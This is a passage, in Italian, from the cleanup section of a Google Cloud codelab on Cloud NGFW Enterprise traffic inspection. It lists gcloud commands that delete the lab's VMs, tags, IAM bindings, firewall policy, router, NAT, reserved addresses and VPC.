gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Se vuoi, esegui i passaggi riportati di seguito se i ruoli tagAdmin e tagUsers sono stati modificati:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Rimuovi la chiave e i valori del tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Elimina il criterio di rete e l'associazione del firewall Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Elimina Cloud Router e Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Elimina gli indirizzi IP riservati:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Infine, elimina la subnet e la rete VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Complimenti!

Complimenti, hai completato il codelab Cloud NGFW Enterprise per l'ispezione est-ovest e nord-sud.